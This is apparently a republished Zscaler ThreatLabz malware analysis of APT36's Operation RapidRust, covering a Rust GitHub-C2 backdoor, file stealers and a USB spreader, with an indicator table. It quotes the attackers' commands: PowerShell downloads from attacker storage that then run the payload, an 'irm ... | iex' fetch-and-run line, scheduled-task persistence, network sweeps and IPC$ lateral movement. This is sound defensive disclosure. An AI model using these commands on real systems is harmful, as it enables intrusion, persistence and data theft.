Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH
Zscaler details Operation RapidRust: APT36 deploys four new tools including RUSTYSHADE, a Rust backdoor using private GitHub repos for encrypted C2.
Zscaler ThreatLabz documents Operation RapidRust, a campaign by Pakistan-aligned APT36 deploying four new tools: RUSTYSHADE, a 64-bit Rust Windows backdoor that uses attacker-controlled private GitHub repositories with a hardcoded PAT and AES-256-GCM-encrypted messages for C2; RUSTYMOVE; PSNATCH, a PowerShell file stealer that scans Office documents, archives, media, and databases modified in the last 120 days and exfiltrates up to 5 GB per run to per-machine GitHub repositories; and BASHNATCH. The backdoor was dropped via PowerShell from attacker-controlled Backblaze B2 storage and supports screenshots, webcam capture, file listing, downloads, and shell command execution.
- RUSTYSHADE uses a hardcoded GitHub PAT, AES-256-GCM encryption, and repository files for command tasking and exfiltration.
- PSNATCH steals files modified within 120 days, capped at 1 GB per file and 5 GB per execution, exfiltrated via GitHub API.
- Dropper fetches RUSTYSHADE via PowerShell from attacker-controlled Backblaze B2 storage.
- Backdoor commands include screenshot capture, webcam photos, directory listing, encrypted file download, and detached shell execution.
- Tooling resembles GITSHELLPAD from the earlier GOGITTER campaign but is rewritten in Rust with encrypted C2.
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| domain | backblazeb2.com | s using the following command: powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zip C2 commun |
| domain | indiatodays.org | conhost.exe --headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex] Create scheduled tasks that execute payloads at |
| url | https://clients-easy.s3.us-east-005.backblazeb2[ | ing: cd C:\Users\Public\AccountPictures dir powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip dir tar -xvf d.zip dir Start- |
Full article1,892 words · extracted from zscaler.com · click to collapse
Technical Analysis
In the following sections, ThreatLabz provides a technical analysis of the campaign, including its new malware tooling and post-compromise activity.
RUSTYSHADE
RUSTYSHADE is a new 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for C2 communication. Some of its functionality is similar to GITSHELLPAD, which we observed in the GOGITTER campaign. However, notable differences include support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.
During post-compromise activity, APT36 deployed RUSTYSHADE on compromised systems using the following command:
powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zip
C2 communication
RUSTYSHADE uses the GitHub REST API as its C2 channel. A GitHub personal access token (PAT) is hardcoded in cleartext within the binary and is used to authenticate and interact with the threat actor's private GitHub repository through the REST API with the following information:
API Endpoint Template: https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp]
Authentication: Authorization: token [PAT] header
Accept Header: application/vnd.github.v3+jsonAll messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.
Encryption algorithm
RUSTYSHADE encrypts C2 messages as follows:
- Derives a 32-byte AES key from the SHA256 hash of the GitHub PAT.
- Generates a random 12-byte nonce using
BCryptGenRandom. - Uses AES-256-GCM to encrypt plaintext resulting in a ciphertext and a 16-byte authentication tag. This 16-byte authentication tag is used by AES-256-GCM for integrity verification.
- Formats the encrypted data as:
nonce[12] || ciphertext || tag[16]. The 12-byte nonce serves as the prefix, while the final 16 bytes contain the authentication tag. - Base64-encodes the formatted message listed above.
- Prepends the
HCENC1:prefix to the Base64-encoded data.
The resulting message has the following format:
HCENC1:[base64(nonce || ciphertext || tag)]To decrypt the message, RUSTYSHADE removes the HCENC1 prefix, Base64-decodes the remaining data, and decrypts it using AES-256-GCM.
Command tasking mechanism
RUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize the communication between the infected machines and the C2 server. The filenames are listed in the table below.
Filename | Purpose |
|---|---|
command.txt | Encrypted C2 commands |
results.txt | Encrypted command output |
info.txt | System reconnaissance data |
heartbeat.txt | Beacon keepalive containing an epoch timestamp |
screenshot.png | Encrypted desktop screenshot |
webcam_photo.jpg | Encrypted webcam capture |
download.bin | Encrypted exfiltrated file contents |
Table 1: Files used for commands, beacons, and exfiltrated data by RUSTYSHADE.
The threat actor issues commands and receives the resulting output in the GitHub C2 repository as follows.
- Threat actor side: The threat actor encrypts the command using the previously described encryption algorithm and commits it to the
command.txtfile. - Infected machine side: RUSTYSHADE polls the GitHub REST API and retrieves, decrypts, and executes the new command from
command.txt. It then encrypts the command output and uploads it to the GitHub repository asresults.txt.
Commands use the following format:
[COMMAND][:{arg}]A colon ( : ) or space separates the command name from its argument.
C2 commands
The table below lists C2 commands supported by RUSTYSHADE.
Command | Description |
|---|---|
ss_up | Capture a screenshot using native GDI32 APIs, encode it as a PNG file, and upload it as screenshot.png. |
CAP-photo | Capture a webcam photo using |
cd .. | Navigate to the parent directory. |
cd | Change the working directory to |
run | Execute a command in the background as a detached process using CreateProcessW. |
HC_LIST | List the contents of the current working directory. |
HC_DRIVES | Enumerate all system drive letters. |
HC_CD | Change the working directory using an alternative command format. |
HC_CD:this pc | Alias for HC_DRIVES (case-insensitive match). |
HC_DOWNLOAD | Read the file at |
(default) | Execute the input as a shell command using |
Table 2: C2 commands supported by RUSTYSHADE.
PSNATCH
During our analysis of post-compromise activity, ThreatLabz observed the threat actor retrieving a next-stage PowerShell-based file stealer from an attacker-controlled GitHub gist. We named this PowerShell script PSNATCH. Its primary purpose is to steal files from infected machines and exfiltrate them to the threat actor's private GitHub repositories.
PSNATCH has the following key capabilities:
- Recursively scans preconfigured directories, including
Desktop,Downloads,Documents,OneDrive(personal + commercial), and drives‘D:’through‘H:’. It collects files that meet the following criteria:- Have extensions associated with a broad range of file types, including Microsoft Office documents, images, archives, media, executables, scripts, and databases.
- Were modified within the last 120 days. Collection is limited to 1 GB per file and 5 GB per execution.
- Authenticates with the threat actor’s private GitHub repository using a hardcoded GitHub PAT.
- Creates a private repository named after the infected machine. Each infected machine is assigned its own repository.
- Exfiltrates data using the GitHub Contents API.
- Specifies SmartUploader as the custom User-Agent in all requests to the GitHub API.
- Organizes exfiltrated data into date-stamped folders using the format
yyyy-MM-dd/[SourceFolder]/... - Maintains a local tracking file located at
%APPDATA%\SmartUploader\uploaded_files.jsonthat maps between file paths and last-modified timestamps. This is done to ensure only new/modified files are uploaded on subsequent runs, enabling incremental exfiltration across repeated executions.
BASHNATCH
BASHNATCH is the Linux variant of PSNATCH. The threat actor used this Bash script to target Linux environments. It scans the same preconfigured directories and file extensions as the Windows variant. BASHNATCH uses ~/.local/share/SmartUploader/uploaded_files.json to track previously exfiltrated files.
RUSTYMOVE
RUSTYMOVE is a lightweight 64-bit Windows USB propagation tool written in Rust. Its sole function is to continuously monitor for external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices) and copy the following two pre-staged malicious files to the root directory of each detected external drive.
C:\Users\Public\Documents\DriverInstaller.zip: Contains the RUSTYSHADE executable described in the previous section.C:\Users\Public\Documents\DocScanner-11-Aug-2026-5-37pm.pdf.LNK: We cannot confirm the exact target command executed by the LNK. We assess with high-confidence that this LNK executes the RUSTYSHADE executable contained inDriverInstaller.zipwhen the user clicks it.
The binary contains no embedded payloads or encryption capabilities, and does not communicate with network-based C2 infrastructure. RUSTYMOVE functions solely as a lateral movement component. Its limited functionality and reliance on hardcoded paths to pre-staged files suggest that RUSTYMOVE may be in an early stage of development.
During post-compromise activity, APT36 deployed RUSTYMOVE on a compromised machine using the following:
cd C:\Users\Public\AccountPictures
dir
powershell wget hxxps://clients-easy.s3.us-east-005.backblazeb2[.]com/Automata-20.zip -o d.zip
dir
tar -xvf d.zip
dir
Start-Process -FilePath ".\Automata-20.exe"
powershell.exe -NoProfile -Command "$t='StandAloneOneDriveUpdater-2626';$a=New-ScheduledTaskAction -Execute 'C:\Users\Public\AccountPictures\Automata-20.exe';$tr=New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;Register-ScheduledTask -TaskName $t -Action $a -Trigger $tr -User $env:USERNAME -Force"
schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LISTThe scheduled task launches RUSTYMOVE when a user logs on. Its name, StandAloneOneDriveUpdater-2626, is intended to make it appear as a legitimate service.
The following sections summarize RUSTYMOVE’s execution flow.
RUSTYMOVE enters an infinite loop that executes two main functions: external drive discovery and file propagation. The malware pauses for 2 seconds between iterations.
External drive discovery
RUSTYMOVE executes the following embedded PowerShell script using CreateProcessW to enumerate external drives.
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "
Get-Volume | Where-Object DriveLetter | ForEach-Object {
$letter = $_.DriveLetter
$part = Get-Partition -DriveLetter $letter -ErrorAction SilentlyContinue
if (-not $part) { return }
$disk = Get-Disk -Number $part.DiskNumber -ErrorAction SilentlyContinue
if (-not $disk) { return }
$external = ($disk.BusType -in @('USB','1394','SD','MMC')) -or
($disk.MediaType -in @('Removable Media','External hard disk media'))
if ($external -and $_.UniqueId) {
Write-Output ('{0}|{1}' -f $letter, $_.UniqueId)
}
}
"The output of the PowerShell script is parsed for strings containing \\?\Volume.
For each valid external drive, RUSTYMOVE converts the drive letter to uppercase and executes the following PowerShell command to retrieve the volume’s UniqueId.
Get-Volume -DriveLetter [X] -ErrorAction SilentlyContinue | Select-Object -ExpandProperty UniqueId
File propagation
For each detected external drive mount point, RUSTYMOVE performs the following actions:
- Uses a HashMap, keyed by the external drive’s volume
UniqueId, to track which external drives have already been infected. - Iterates through an array containing the 2 pre-staged malicious files and:
- Extracts the filename.
- Constructs the destination path as
[DriveLetter]:\[filename]. - Checks if the destination already exists on the external removable media.
- If the file is not present, the malware copies it using
CopyFileExW. - If the copy succeeds, the malware writes "Copied: [path]" to
log.txt.
- After processing both source files, RUSTYMOVE logs the following messages to
log.txt:- If files were copied: "Success [N] user(s)."
- If no files were copied: "No new files copied (already on drive, missing source, or copy failed)."
Post-compromise activity
During our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026 and September 1, 2026.
ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issues commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.

Figure 1: Distribution of Operation RapidRust C2 commands by hour of the day.
ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.

Figure 2: Operation RapidRust C2 activity by date.
The table below summarizes RUSTYSHADE C2 commands executed by the threat actor during the observed post-compromise activity.
Category | C2 commands | Description |
|---|---|---|
System Reconnaissance | ipconfig, ipconfig /all whoami, whoami /groups, whoami /priv echo %COMSPEC%, hostname, tasklist | Identify the current user, group memberships, privileges, running processes, hostname, network adapter configuration, and command interpreter path on the infected machine. |
Network Reconnaissance | arp -a for /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | findstr /i \"reply bytes TTL\"
| Map the local network by sweeping subnets for live hosts, resolving hostnames via reverse DNS and NetBIOS, and enumerating visible machines and SMB shares. |
Geolocation | Invoke-RestMethod http://ip-api.com/json | Select-Object lat, lon | Retrieve the infected machine's external IP address and geographic coordinates (latitude/longitude) using public geolocation APIs. |
Persistence | Register-ScheduledTask -TaskName 'StandAloneOneDriveUpdater-2626' ... -Execute 'Automata-20.exe' -Trigger -AtLogOn schtasks /Create /TN "StandAloneOneDriveUpdater-2626" /SC ONLOGON Register-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskUserS-1-5-24-...' ... conhost.exe --headless powershell.exe -EncodedCommand [irm indiatodays[.]org/pv | iex] | Create scheduled tasks that execute payloads at user logon and masquerade as legitimate Microsoft OneDrive and Edge updater tasks. |
Persistence Verification | schtasks /Query /TN "StandAloneOneDriveUpdater-2626" /V /FO LIST schtasks /Query /FO LIST /V schtasks /Query /FO TABLE | Verify that the scheduled tasks created were registered successfully by querying them and checking command exit codes. |
Network Verification | ping -n 1 [IP], ping -n 1 -w 1000 [IP] for %i in ([list]) do @ping ... | findstr "reply TTL" powershell -Command "Test-NetConnection [IP] -Port 445" powershell -Command "Test-NetConnection [IP] -Port 135" | Re-check the liveness of previously discovered hosts and probe specific ports (SMB 445 and RPC 135) to identify targets suitable for lateral movement. |
Lateral Movement | net use \\[IP]\IPC$ net use \\[IP]\IPC$ /user:[machine_name]\admin * | Attempt to connect to the IPC$ share on a remote host, first using a null session and then using specified administrator credentials. |
Anti-Forensics | del yogi.zip, del DriverInstaller.exe, del HealthCheck.exe, del sheets_agent.dll, del t_tracker.json, del a.zip, del hh.zip, del ms.zip | Delete files associated with previously deployed tooling and rename om.zip to |
Table 3: Post-compromise commands executed by APT36.
Text extracted automatically; images, tables and formatting may be missing. Original: https://www.zscaler.com/blogs/security-research/operation-rapidrust-apt36-deploys-rustyshade-rustymove-psnatch-and